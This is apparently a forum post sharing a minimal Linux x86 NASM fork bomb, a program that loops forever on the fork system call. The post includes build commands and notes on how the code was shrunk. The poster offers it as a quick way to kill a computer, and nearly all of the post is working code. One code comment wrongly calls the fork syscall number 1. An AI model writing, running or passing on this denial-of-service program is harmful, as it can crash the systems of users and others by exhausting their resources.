Here is my contribution in NASM:

section .text                        ; text segment	
        global       _start          ; make _start global	

_start:                              ; _start here	
        mov          al, 2           ; fork: system call number 1	
        int          0x80            ; interrupt. (call the kernel)	

        jmp SHORT    _start          ; jump to _start	

To compile, type:
nasm -f elf bomb.asm
ld -s -o bomb bomb.o

I find this does the job quite a bit quicker than C, killing a computer milliseconds after its run.

Update: Saturday, January 4, 2003 at 14:48:28: This is as efficient as it can be gotten (I think), it doesn't use libc if you compile it as above. The ebx paramater isn't needed. "jmp SHORT" shaves an extra 3 bytes off. "mov al, 2" shaves off another 3 (registers are initially 0).